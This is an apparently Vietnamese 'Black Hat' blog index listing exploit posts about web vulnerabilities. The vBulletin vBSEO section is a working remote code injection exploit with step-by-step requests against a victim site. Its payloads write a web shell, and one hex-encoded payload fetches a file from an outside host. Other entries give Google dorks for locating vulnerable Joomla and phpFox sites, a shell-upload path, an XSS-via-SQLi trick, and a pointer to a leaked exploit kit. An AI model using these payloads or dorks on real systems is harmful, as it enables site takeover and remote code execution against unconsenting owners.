Kiến thức Black Hat: Exploit

Kiến thức Blackhat

Menu

Chơi game hacker theo cách của hacker/developer

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNEq95BUJ2ECI8_UV4rEapsYiSSqBv3P1rFZ0bRHIZsDqEOsOPqfvYidi1QBHMVJEEHCsgHmKpJ-oNFrmSwUX5VGf644RdL6zMym86Ncb1WaCdUPl777dQrGmdAcT1zivIK8DOpEdp1z9Y/s1600/mr-robot.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Chơi game hacker theo cách của hacker/developer" border="0" height="224" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNEq95BUJ2ECI8_UV4rEapsYiSSqBv3P1rFZ0bRHIZsDqEOsOPqfvYidi1QBHMVJEEHCsgHmKpJ-oNFrmSwUX5VGf644RdL6zMym86Ncb1WaCdUPl777dQrGmdAcT1zivIK8DOpEdp1z9Y/s400/mr-robot.jpg" title="Chơi game hacker theo cách của hacker/developer" width="400"></a></div><div style="text-align: center;"><br></div><h3>Who is Mr.Robot?</h3><br>Đây là một <b>trò chơi về chủ đề <a href="http://junookyo.blogspot.com/search/label/Hacker" target="_blank">hacker</a></b> dựa theo bộ phim truyền hình đang hot gần đây là <b>Mr.Robot</b><br><br>URL: <a href="http://www.whoismrrobot.com/fsociety/" rel="nofollow" target="_blank">http://www.whoismrrobot.com/fsociety/</a><br><br>Dù không quá khó và số màn chơi cũng không nhiều nhưng mỗi màn đều khá thú vị. Bài viết này chỉ là đăng một video về màn chơi mà tôi cho rằng nó là hay nhất.<br><a href="http://junookyo.blogspot.com/2015/08/tu-duy-hacker-who-is-mr-robot.html#more">ĐỌC TIẾP »</a>

Chơi game hacker theo cách của hacker/developer

Chơi game hacker theo cách của hacker/developer

Who is Mr.Robot? Đây là một trò chơi về chủ đề hacker dựa theo bộ phim truyền hình đang hot gần đây là Mr.Robot URL: http://www.whoismrrobo...

Lỗ hổng DOM XSS trong WordPress SEO by Yoast

<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1-bVoYAMzhh4H0YPI4HQlVFzL_ZTSLYF7AHDjAn7BBzjCDKj5qvCVOnxddSr8Orfk8JXTS3tyRsAHzAr-TY-ZwAMmET17tA2wofVWwboL5_-uJkTPAWMO-jRZTgpQLfPxzDfvOfD8vCNl/s1600/WordPress-SEO-by-Yoast-DOM-XSS.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="WordPress SEO by Yoast - DOM XSS Vulderability" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1-bVoYAMzhh4H0YPI4HQlVFzL_ZTSLYF7AHDjAn7BBzjCDKj5qvCVOnxddSr8Orfk8JXTS3tyRsAHzAr-TY-ZwAMmET17tA2wofVWwboL5_-uJkTPAWMO-jRZTgpQLfPxzDfvOfD8vCNl/s1600/WordPress-SEO-by-Yoast-DOM-XSS.PNG" title="WordPress SEO by Yoast - DOM XSS Vulderability"></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><b>WordPress SEO by Yoast - DOM XSS Vulderability</b></td></tr></tbody></table><div style="text-align: center;"><div style="text-align: left;">Một lỗ hổng <b>DOM XSS</b> trong plugin <b>WordPress SEO by Yoast</b> đã được <a href="https://wordpress.org/support/topic/security-issue-with-post-title-field-xss-vulnerability#post-3575617" target="_blank">báo cáo 2 năm trước</a> bởi một thành viên có tên tài khoản "badconker". Tác giả của plugin nói rằng nó đã được vá nhưng nhà bảo mật <a href="https://inventropy.us/blog/yoast-seo-plugin-cross-site-scripting-vulnerability/" target="_blank">Charles Neill</a> phát hiện ra dường như lỗ hổng đã xuất hiện trở lại. Nếu bạn đang sử dụng plugin này, tôi khuyên bạn nên cập nhật ngay lên <a href="https://github.com/Yoast/wordpress-seo/releases" target="_blank">phiên bản mới nhất</a> (2.2.1).<br><br><br></div></div><a href="http://junookyo.blogspot.com/2015/06/wordpress-seo-dom-xss-vulnerability.html#more">ĐỌC TIẾP »</a>

Lỗ hổng DOM XSS trong WordPress SEO by Yoast

Lỗ hổng DOM XSS trong WordPress SEO by Yoast

WordPress SEO by Yoast - DOM XSS Vulderability Một lỗ hổng DOM XSS trong plugin WordPress SEO by Yoast đã được báo cáo 2 năm trước bởi mộ...

vBulletin vBSEO 4.x.x 'visitormessage.php' Remote Code Injection Vulnerability

<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPl7j48GMRSuvM8kq_p1n4okNUPIwMPyeLunQpukKs1vp5mQk6pWJhvFElWVjnruDPcJwhCvPgbDZrlyUUO5fUi6YtNLW0sP8hZzDwxO3OtvKbuUDZkTiD4_uTd4E99ObJOkEndZtI2lvF/s1600/vbb.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPl7j48GMRSuvM8kq_p1n4okNUPIwMPyeLunQpukKs1vp5mQk6pWJhvFElWVjnruDPcJwhCvPgbDZrlyUUO5fUi6YtNLW0sP8hZzDwxO3OtvKbuUDZkTiD4_uTd4E99ObJOkEndZtI2lvF/s1600/vbb.jpg" /></a></div><blockquote class="tr_bq">Full title     vBulletin vBSEO 4.x.x 'visitormessage.php' Remote Code Injection<br />Date add     02-03-2015<br />Category     web applications<br />Platform     php<br />Risk     <br />Security Risk Critical<br />Vendor     http://vBulletin.com<br />Tested on     vBulletin 4.2.2<br />CVE     CVE: 2014-9463  </blockquote><br /> Description:<br />you can get access from vbulletin forum, just inject php code in one file.<br /><br />[+] My Homepage: black-hg.org / nasirpour.info<br />[+] Discovered By: Dariush Nasirpour (Net.Edit0r)<br />[+] Greeting : Ali Razmjoo - Ehsan Nezami - Arash Shams - Ramin Shahkar and all my freinds ( #bhg )<br />-------------------------------------------------------------------------------------------------------------------<br />1) You Must Register In The vBulletin: http://www.victim.com/register.php example:[blackhat]<br /><br />2) go to your user profile example: [http://www.victim.com/members/blackhat.html]<br /><br />3) post something in visitor message and record post data with live http header<br /><br />[example] : message_backup=&message=For-Test-Sample&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=<br />1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse=<br /><br />4) change message to anything "For-Test-Sample" => "ALEEEEEEEEX"  [because vBulletin don't let you send same comment in a time]<br /><br />[Now post this with hackbar:]<br /><br />URL:  http://www.victim.com/visitormessage.php?do=message<br /><br />[Post data]<br />message_backup=&message=ALEEEEEEEEX&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=<br />1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse=<br /><br />[And referrer data:] <br />PoC : http://www.victim.com/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked")}}]"<br /><br />[Example referrer data:] <br />PoC :http://www.victim.com/members/g3n3rall.html?a=$stylevar%5b$%7b$%7bfile_put_contents(<br />"downloader.php","\x3C\x3F\x70\x68\x70\x0D\x0A\x24\x68\x6F\x6D\x65\x70\x61\x67\x65\x20\x3D\x20\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x27\x68\x74\x74\x70\x3A\x2F\x2F\x70\x61\x69\x65\x6E\x63\x68\x61\x74\x2E\x63\x6F\x6D\x2F\x64\x2F\x64\x72\x2E\x74\x78\x74\x27\x29\x3B\x0D\x0A\x24\x66\x20\x3D\x20\x66\x6F\x70\x65\x6E\x28\x27\x73\x2E\x70\x68\x70\x27\x2C\x27\x77\x27\x29\x3B\x0D\x0A\x66\x77\x72\x69\x74\x65\x28\x24\x66\x2C\x24\x68\x6F\x6D\x65\x70\x61\x67\x65\x29\x3B\x0D\x0A\x3F\x3E")}}]<br /><br />5) Open hackbar and tamper it with taper data:<br />referrer data has been URL encoded by browser , you have to replace this again with tamper data: http://www.victim.com/cc/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked")}}]"<br /><br />and submit request.<br /><br />    #  1337day.com [2015-03-03]  #

vBulletin vBSEO 4.x.x 'visitormessage.php' Remote Code Injection Vulnerability

vBulletin vBSEO 4.x.x 'visitormessage.php' Remote Code Injection Vulnerability

Full title vBulletin vBSEO 4.x.x 'visitormessage.php' Remote Code Injection Date add 02-03-2015 Category web application...

Lỗ hổng cho phép Hacker xóa bất kỳ Album ảnh nào trên Facebook

<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDO_UfD1r6KL_9a8vs5on1NFcYWR03lapU3ecSaZqDxpodPcerCxG4ySSSg_4R3cTiawXIQ46-eX5lfWV8C0jbuQU878bDQ2PYo6lEUOn6hfRHTc523FLjFtgABw8pyd6iPOM9VT100__9/s1600/hacking-facebook-photo-album.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="Hacking Facebook Albums" border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDO_UfD1r6KL_9a8vs5on1NFcYWR03lapU3ecSaZqDxpodPcerCxG4ySSSg_4R3cTiawXIQ46-eX5lfWV8C0jbuQU878bDQ2PYo6lEUOn6hfRHTc523FLjFtgABw8pyd6iPOM9VT100__9/s1600/hacking-facebook-photo-album.jpg" title="Hacking Facebook Albums" width="400"></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><b>Hacking Facebook Albums</b></td></tr></tbody></table>Một lỗ hổng nghiêm trọng trong <b>Facebook</b> mới được báo cáo, lỗ hổng này cho phép bất kỳ ai cũng có thể <b>xóa toàn bộ Album ảnh</b> của bạn mà không cần chứng thực.<br><br>Nhà nghiên cứu bảo mật <i>Laxman Muthiyah</i> cho biết rằng lỗ hổng thực sự nằm ở cơ chế hoạt động của <b>Facebook Graph API</b> - cho phép "một hacker xóa bất kỳ album ảnh nào trên Facebook. Bất kỳ album ảnh sở hữu bởi một người dùng, một trang hoặc một nhóm đều có thể bị xóa".<br><br><br><a href="http://junookyo.blogspot.com/2015/02/lo-hong-xoa-bat-ky-album-anh-tren-facebook.html#more">ĐỌC TIẾP »</a>

Lỗ hổng cho phép Hacker xóa bất kỳ Album ảnh nào trên Facebook

Lỗ hổng cho phép Hacker xóa bất kỳ Album ảnh nào trên Facebook

Hacking Facebook Albums Một lỗ hổng nghiêm trọng trong Facebook mới được báo cáo, lỗ hổng này cho phép bất kỳ ai cũng có thể xóa toàn bộ Al...

Hàng triệu trang web WordPress và Drupal có nguy cơ bị tấn công DoS

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0JmSvjpUs3JQf_VedX9WJP7h9RBdyNtUNl-sJoIN7EwVIVHP-SfqlmEl2_t9X7z1Z6Ajnv1jMjuaAcFTVlsR51KIF3fQpRDEWkw3omXGpmV11PYR4Hhj66TYr5y6dhkSIu3Ls078Gp_-c/s1600/Hacking-drupal-wordpress.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0JmSvjpUs3JQf_VedX9WJP7h9RBdyNtUNl-sJoIN7EwVIVHP-SfqlmEl2_t9X7z1Z6Ajnv1jMjuaAcFTVlsR51KIF3fQpRDEWkw3omXGpmV11PYR4Hhj66TYr5y6dhkSIu3Ls078Gp_-c/s1600/Hacking-drupal-wordpress.jpg" width="400"></a></div><br>Nếu như bạn đang chạy một trang web sử dụng mã nguồn <b><a href="http://junookyo.blogspot.com/search/label/WordPress" target="_blank">WordPress</a></b> hay <b><a href="http://junookyo.blogspot.com/search/label/Drupal" target="_blank">Drupal</a></b> thì bạn nên cập nhật phiên bản mới nhất ngay lập tức.<br><br>Một lỗ hổng nghiêm trọng vừa được phát hiện trong <b>Drupal</b> và <b>WordPress</b> cho phép kẻ tấn công vô hiệu hóa trang web của bạn thông qua một phương pháp được gọi là <b><a href="http://junookyo.blogspot.com/search/label/DDoS" target="_blank">Tấn công từ chối dịch vụ</a> (DoS)</b>.<br><br><a href="http://junookyo.blogspot.com/2014/08/hang-trieu-trang-web-wordpress-va-drupal-co-nguy-co-bi-tan-cong.html#more">ĐỌC TIẾP »</a>

Hàng triệu trang web WordPress và Drupal có nguy cơ bị tấn công DoS

Hàng triệu trang web WordPress và Drupal có nguy cơ bị tấn công DoS

Nếu như bạn đang chạy một trang web sử dụng mã nguồn WordPress hay Drupal thì bạn nên cập nhật phiên bản mới nhất ngay lập tức. Một lỗ hổn...

Lỗ hổng trong GKPlugin cho phép Hacker đọc nội dung mã nguồn của website

<b><a href="http://gkplugins.com/" target="_blank">GKPlugin</a></b> hay còn có tên <b>Gác Kiếm Player</b> là một plugin hỗ trợ phát video, tệp tin media từ các trang lưu trữ video khác trên trang của bạn. GKPlugins được phát triển trên <b><a href="http://www.jwplayer.com/" target="_blank">JWPlayer</a></b>, cho phép chạy audio, video từ những máy chủ khác bởi đầu vào là một liên kết trực tiếp trên thanh địa chỉ của trình duyệt.<br><br>Với khả năng phát tệp tin đa phương tiện từ nhiều nguồn khác nhau và dễ dàng tùy biến như thêm Logo vào trình phát hay thay đổi giao diện cho phù hợp với trang, do đó GKPlugin được yêu thích và sử dụng tại nhiều trang xem phim trực tuyến hiện nay. Và việc nó được phát triển trên nền JWPlayer – là một player được ưa chuộng đã giúp GKPlugin trở nên phổ biến hơn.<br><br>Trong quá trình phân tích mã nguồn GKPlugins, <b>K-20</b> đã phát hiện ra lỗ hổng cho phép tải và đọc nội dung tệp tin mã nguồn bất kì của Website sử dụng plugin này.<br><br><a href="http://junookyo.blogspot.com/2014/07/lo-hong-trong-gkplugin-cho-phep-hacker-doc-noi-dung-ma-nguon-cua-website.html#more">ĐỌC TIẾP »</a>

Lỗ hổng trong GKPlugin cho phép Hacker đọc nội dung mã nguồn của website

Lỗ hổng trong GKPlugin cho phép Hacker đọc nội dung mã nguồn của website

GKPlugin hay còn có tên Gác Kiếm Player là một plugin hỗ trợ phát video, tệp tin media từ các trang lưu trữ video khác trên trang của bạn....

Lỗ hổng trong Facebook SDK khiến hàng triệu tài khoản người dùng gặp nguy hiểm

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYOlPXCCU-cw_NIE2BtrdSInQxm7CsDWlwdNx3fqP-nSnwrHfxWwmEE8KAvMTyCj5muhkjKzaLXgizg7MrLkIWAkgVMllm8pm4JIXvBxz_rHbxhHGqyjjseuWp8Fwo0st4LkU6FgYs8TQs/s1600/facebook-sdk-access-token-hacking.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="274" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYOlPXCCU-cw_NIE2BtrdSInQxm7CsDWlwdNx3fqP-nSnwrHfxWwmEE8KAvMTyCj5muhkjKzaLXgizg7MrLkIWAkgVMllm8pm4JIXvBxz_rHbxhHGqyjjseuWp8Fwo0st4LkU6FgYs8TQs/s1600/facebook-sdk-access-token-hacking.jpg" width="400"></a></div><div style="text-align: center;"><br></div>Các nhà nghiên cứu bảo mật từ MetaIntell và Giám đốc Quản Lý Rủi Ro Điện Thoại  (MRM) vừa mới phát hiện một lỗ hổng bảo mật lớn  trên phiên bản mới nhất của <b><a href="http://junookyo.blogspot.com/search/label/FaceBook" target="_blank">Facebook</a> SDK</b> khiến hàng triệu thẻ xác thực (Token Authentication) của người dùng gặp nguy hiểm.<br><br>Facebook SDK dùng trên hệ điều hành Android và iOS là cách dễ nhất để tích hợp các ứng dụng di động với nền tảng Facebook hỗ trợ người dùng truy cập vào Facebook để tương tác với các Facebook API và còn rất nhiều tính năng khác.<br><br><a href="http://junookyo.blogspot.com/2014/07/lo-hong-facebook-sdk-khien-nguoi-dung-gap-nguy-hiem.html#more">ĐỌC TIẾP »</a>

Lỗ hổng trong Facebook SDK khiến hàng triệu tài khoản người dùng gặp nguy hiểm

Lỗ hổng trong Facebook SDK khiến hàng triệu tài khoản người dùng gặp nguy hiểm

Các nhà nghiên cứu bảo mật từ MetaIntell và Giám đốc Quản Lý Rủi Ro Điện Thoại (MRM) vừa mới phát hiện một lỗ hổng bảo mật lớn trên phiên ...

Lỗ hổng trong plugin WordPress Disqus khiến hàng triệu Blog có nguy cơ bị tấn công

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRQwShf35bAmUSQmDSWMhPqNmdMsK9AZqEJeniq26eiQbmJ3AgbGJwFwjMCl_7kAKHo56ZX3c6YFlZlXV99Fvzsev66bB9JZpp1O6t-CAYHTfmtTSCtTo5oQX6QGgAmhh7N8kA4ACSORLn/s1600/disqus-wordpress-plugin-exploit-hacking.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRQwShf35bAmUSQmDSWMhPqNmdMsK9AZqEJeniq26eiQbmJ3AgbGJwFwjMCl_7kAKHo56ZX3c6YFlZlXV99Fvzsev66bB9JZpp1O6t-CAYHTfmtTSCtTo5oQX6QGgAmhh7N8kA4ACSORLn/s1600/disqus-wordpress-plugin-exploit-hacking.jpg" width="400"></a></div><div style="text-align: left;"><br></div><div style="text-align: left;">Một lỗ hổng thực thi mã từ xa (RCE) đã được phát hiện trong plugin Disqus - là plugin cung cấp dịch vụ bình luận và thảo luận cho nền tảng blog phổ biến <b><a href="http://junookyo.blogspot.com/search/label/WordPress" target="_blank">Wordpress</a></b>.</div><div style="text-align: left;"><br></div><div style="text-align: left;">Hiện tại có hơn <b>70 triệu</b> trang web trên Internet hiện đang chạy WordPress, khoảng <b>1,3 triệu</b> người sử dụng plugin <b><a href="http://wordpress.org/plugins/disqus-comment-system/" target="_blank">'Disqus Comment System'</a></b>, làm cho nó trở thành một trong những plugin phổ biến của Wordpress.</div><div style="text-align: left;"><br></div><div style="text-align: left;">Nhóm nghiên cứu an ninh tại hãng bảo mật Sucuri đã phát hiện một lỗ hổng Thực thi mã từ xa (RCE) nghiêm trọng trong khi đang phân tích một số cú pháp tùy chỉnh JSON của plugin Disqus và thấy rằng các hàm phân tích cú pháp biến có thể cho phép bất cứ ai thực thi các lệnh trên máy chủ sử dụng hàm PHP <b>eval()</b> được xây dựng không an toàn.</div><div style="text-align: left;"></div><a href="http://junookyo.blogspot.com/2014/06/lo-hong-trong-plugin-wordpress-disqus-khien-hang-trieu-blog-co-nguy-co-bi-tan-cong.html#more">ĐỌC TIẾP »</a>

Lỗ hổng trong plugin WordPress Disqus khiến hàng triệu Blog có nguy cơ bị tấn công

Lỗ hổng trong plugin WordPress Disqus khiến hàng triệu Blog có nguy cơ bị tấn công

Một lỗ hổng thực thi mã từ xa (RCE) đã được phát hiện trong plugin Disqus - là plugin cung cấp dịch vụ bình luận và thảo luận cho nền tảng b...

Xuất hiện lỗ hổng bảo mật trong Plugin “All in One SEO Pack” của WordPress

<div data-mce-style="text-align: left;" style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoiSnueDZw4QFOavVQQP3ilyXxVPBFBENTN1S-sX2QRQtggzZpOYCpN1ZB7axDzr2zHmO4_p5hLPWAFNAobNElHLfozr6OoIbOzxIiJzIGTxKl6pmdpr_WVNVDhhTwOWoJf8YRVXzRWGEb/s1600/wordpress-all-in-one-seo-pack-plugin-hack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoiSnueDZw4QFOavVQQP3ilyXxVPBFBENTN1S-sX2QRQtggzZpOYCpN1ZB7axDzr2zHmO4_p5hLPWAFNAobNElHLfozr6OoIbOzxIiJzIGTxKl6pmdpr_WVNVDhhTwOWoJf8YRVXzRWGEb/s1600/wordpress-all-in-one-seo-pack-plugin-hack.png" width="400"></a></div><div style="text-align: center;"><br></div>Nhiều lỗ hổng bảo mật nghiêm trọng đã được phát hiện trong Plugin nổi tiếng <strong><span style="color: yellow;">"All in One SEO Pack"</span></strong> cho WordPress đặt hàng triệu trang Web sử dụng <strong><span style="color: yellow;">WordPress</span></strong> có nguy cơ bị ảnh hưởng.<br><br></div><div data-mce-style="text-align: left;" style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;">WordPress là một mã nguồn mở dễ dàng cài đặt và sử dụng, do đó rất nhiều người ưa thích sử dụng nó. Nhưng nếu bạn hay công ty của bạn đang sử dụng Plugin "All in One SEO Pack" để tối ưu hóa xếp hạng trang Web trên các bộ máy tìm kiếm thì bạn nên cập nhật ngay lập tức phiên bản mới nhất <em><strong><span style="color: yellow;">All in One SEO Pack 2.1.6</span></strong></em>.</div><div data-mce-style="text-align: left;" style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;"><br></div><a href="http://junookyo.blogspot.com/2014/06/xuat-hien-lo-hong-bao-mat-trong-plugin-all-in-one-seo-pack-cua-wordpress.html#more">ĐỌC TIẾP »</a>

Xuất hiện lỗ hổng bảo mật trong Plugin “All in One SEO Pack” của WordPress

Xuất hiện lỗ hổng bảo mật trong Plugin “All in One SEO Pack” của WordPress

Nhiều lỗ hổng bảo mật nghiêm trọng đã được phát hiện trong Plugin nổi tiếng "All in One SEO Pack" cho WordPress đặt hàng triệu t...

Malaysian Security Researcher Found XSS Vulnerability In Google

<span style="font-family: Georgia, Times New Roman, serif;">How much Google is secure we will tell you today, One Malaysian security researcher named </span><span class="null"><span style="font-family: Georgia, Times New Roman, serif;">Ahmad Ashraff</span></span><span style="font-family: Georgia, Times New Roman, serif;"> talk to us and shared tutorial with us that, how he found XSS Vulnerability in Google and Youtube. </span><br><span style="font-family: Georgia, Times New Roman, serif;"><br></span> <span style="font-family: Georgia, Times New Roman, serif;">"On 9th January 2014, posted below image on twitter</span><br><span style="font-family: Georgia, Times New Roman, serif;"><br></span><br><br><div class="separator" style="clear: both; text-align: center;"></div><span style="font-family: Georgia, Times New Roman, serif;"><br></span><span style="font-family: Georgia, 'Times New Roman', serif;"><a href="https://twitter.com/yappare/status/421470672330571777/photo/1">https://twitter.com/yappare/status/421470672330571777/photo/1</a></span><br><span style="font-family: Georgia, 'Times New Roman', serif;"><br></span><span style="font-family: Georgia, Times New Roman, serif;">So is this post related to that? Will get to it soon or probably next month.haha..</span><br><span style="font-family: Georgia, Times New Roman, serif;">In this post I'm going to share to you a bug that manage me to be inside  Google Vulnerability Reward Program G+ Community <a href="https://plus.google.com/communities/103663928590757646624/stream/c954d937-73e5-4073-ba76-645d0326dff8" target="_blank">here</a></span><br><span style="font-family: Georgia, Times New Roman, serif;"></span><br><a href="http://junookyo.blogspot.com/2014/03/malaysian-security-researcher-found-xss-vulnerebility-in-google.html#more">ĐỌC TIẾP »</a>

Malaysian Security Researcher Found XSS Vulnerability In Google

Malaysian Security Researcher Found XSS Vulnerability In Google

How much Google is secure we will tell you today, One Malaysian security researcher named Ahmad Ashraff talk to us and shared tutorial wit...

Joomla Shell Upload Vulnerability

<br><div dir="ltr" style="text-align: left;"><div style="text-align: center;"><div style="text-align: center;"><span style="font-family: Trebuchet MS, sans-serif;"><img alt="Joomla Shell Upload Vulnerability | Juno_okyo's Blog" height="278" src="https://encrypted-tbn0.google.com/images?q=tbn:ANd9GcRGy0OohVYYsdjP18tdrDu2uFV2y7eDy7D7EbJpLpucyMnuSmg_RhwTWA" style="color: #4b4b4b; line-height: 20px;" title="Joomla Shell Upload Vulnerability | Juno_okyo's Blog" width="320"></span></div><span style="font-family: Trebuchet MS, sans-serif;"></span></div><span style="font-family: Trebuchet MS, sans-serif;"><span style="color: red; line-height: 20px;">requirements:</span><br style="color: #4b4b4b; line-height: 20px;"><span style="color: limegreen; line-height: 20px;">1.mind</span><br style="color: #4b4b4b; line-height: 20px;"><span style="color: red; line-height: 20px;">use this google dork to find vulnerable joomla sites ## </span><span style="color: limegreen; line-height: 20px;"><br>google dork : inurl:index.php?option=com_fabrik</span><br style="color: #4b4b4b; line-height: 20px;"><span style="color: tomato; line-height: 20px;"><br>after open the sites replace with this address ##</span><br style="color: #4b4b4b; line-height: 20px;"><span style="color: limegreen; line-height: 20px;">index.php?option=com_fabrik&c=import&view=import&filetype=csv&tableid=1</span><br style="color: #4b4b4b; line-height: 20px;"><span style="color: tomato; line-height: 20px;">for example ##</span><br style="color: #4b4b4b; line-height: 20px;"><span style="color: limegreen; line-height: 20px;">"www.xyz.com/index.php" to "www.xyz.com/index.php?option=com_fabrik&c=import&view=import&filetype=csv&tableid=1"</span></span><br></div><a href="http://junookyo.blogspot.com/2012/11/joomla-shell-upload-vulnerability.html#more">ĐỌC TIẾP »</a>

Joomla Shell Upload Vulnerability

Joomla Shell Upload Vulnerability

requirements: 1.mind use this google dork to find vulnerable joomla sites ## google dork : inurl:index.php?option=com_fabrik after open the...

PhpFox 3.0.1 Cross Site Scripting

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVLlaP68CKvI5KCOnQaWvRzGPVvGhLkKiMV61WzKV-IquEbBRZI5FzmchFuXbCucJI5dTn-0EfXl79bJv9ccdrJ5921eug5_csFFXl36CR5skaUEVhVkR0v6pjI-5hLyGnjdU88rpeEg/s1600/php.PNG" style="margin-left: 1em; margin-right: 1em;"><img alt="PhpFox 3.0.1 Cross Site Scripting | Juno_okyo's Blog" border="0" height="124" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVLlaP68CKvI5KCOnQaWvRzGPVvGhLkKiMV61WzKV-IquEbBRZI5FzmchFuXbCucJI5dTn-0EfXl79bJv9ccdrJ5921eug5_csFFXl36CR5skaUEVhVkR0v6pjI-5hLyGnjdU88rpeEg/s320/php.PNG" title="PhpFox 3.0.1 Cross Site Scripting | Juno_okyo's Blog" width="320"></a></div><span style="font-family: Trebuchet MS, sans-serif;"><br></span><div><span style="font-family: Trebuchet MS, sans-serif;"><b>Google Dork:</b> Intext:"Powered By phpFox Version 3.0.1"</span></div><div><span style="font-family: Trebuchet MS, sans-serif;"><br></span></div><div><span style="font-family: Trebuchet MS, sans-serif;"><b>Vendor Home :</b> http://www.phpfox.com/</span></div><div><span style="font-family: Trebuchet MS, sans-serif;"><br></span></div><div><span style="font-family: Trebuchet MS, sans-serif;"> There are lots of parametrs Vulnerable to xss in ajax.php file like feed_id & message & title & ...</span></div><a href="http://junookyo.blogspot.com/2012/11/phpfox-301-cross-site-scripting.html#more">ĐỌC TIẾP »</a>

PhpFox 3.0.1 Cross Site Scripting

PhpFox 3.0.1 Cross Site Scripting

Google Dork: Intext:"Powered By phpFox Version 3.0.1" Vendor Home : http://www.phpfox.com/ There are lots of parametrs Vulnerab...

Cloudflare IP resolver [python]

Cloudflare IP resolver [python]

Cloudflare IP resolver [python]

CloudResolver is a python script designed to find the ip address of a server hidden behind cloudflare. The script uses the following metho...

XSS Injection Via SQLi Vulnerability

<div style="text-align: center;"><img alt="XSS Injection Via SQLi Vulnerability | Juno_okyo's Blog" height="367" id="il_fi" src="http://www.techmynd.com/wp-content/uploads/2009/02/xss-attacks.jpg" style="padding-bottom: 8px; padding-right: 8px; padding-top: 8px;" title="XSS Injection Via SQLi Vulnerability | Juno_okyo's Blog" width="500"></div><span style="font-family: Trebuchet MS, sans-serif;"># XSS Injection Using SQL Injection Vulnerability</span><br><span style="font-family: Trebuchet MS, sans-serif;"># Trick is based on Hexa Decimal Encoding.</span><br><span style="font-family: Trebuchet MS, sans-serif;"></span><span style="font-family: Trebuchet MS, sans-serif;"><br></span><span style="font-family: Trebuchet MS, sans-serif;">[0x01] You got SQLi vulnerability in website</span><br><span style="font-family: Trebuchet MS, sans-serif;">http://www.vulnerable.com/index.php?id=560</span><br><span style="font-family: Trebuchet MS, sans-serif;"><br></span><span style="font-family: Trebuchet MS, sans-serif;">[0x02] Next count the columns. You got 5 columns and column 3 is</span><br><span style="font-family: Trebuchet MS, sans-serif;">vulnerable.</span><a href="http://junookyo.blogspot.com/2012/11/xss-injection-via-sqli-vulnerability.html#more">ĐỌC TIẾP »</a>

XSS Injection Via SQLi Vulnerability

XSS Injection Via SQLi Vulnerability

# XSS Injection Using SQL Injection Vulnerability # Trick is based on Hexa Decimal Encoding. [0x01] You got SQLi vulnerability in website ht...

[Video TUT] Remote Code Execution vbullentin 4.1.10 Exploit

[Video TUT] Remote Code Execution vbullentin 4.1.10 Exploit

[Video TUT] Remote Code Execution vbullentin 4.1.10 Exploit

Greetings:Pirjo(iranian black hat hacker),Team openfire,Team INTRA,team injectors and all hackers

Crimepack 3.1.3 Exploit kit Leaked, available for Download!

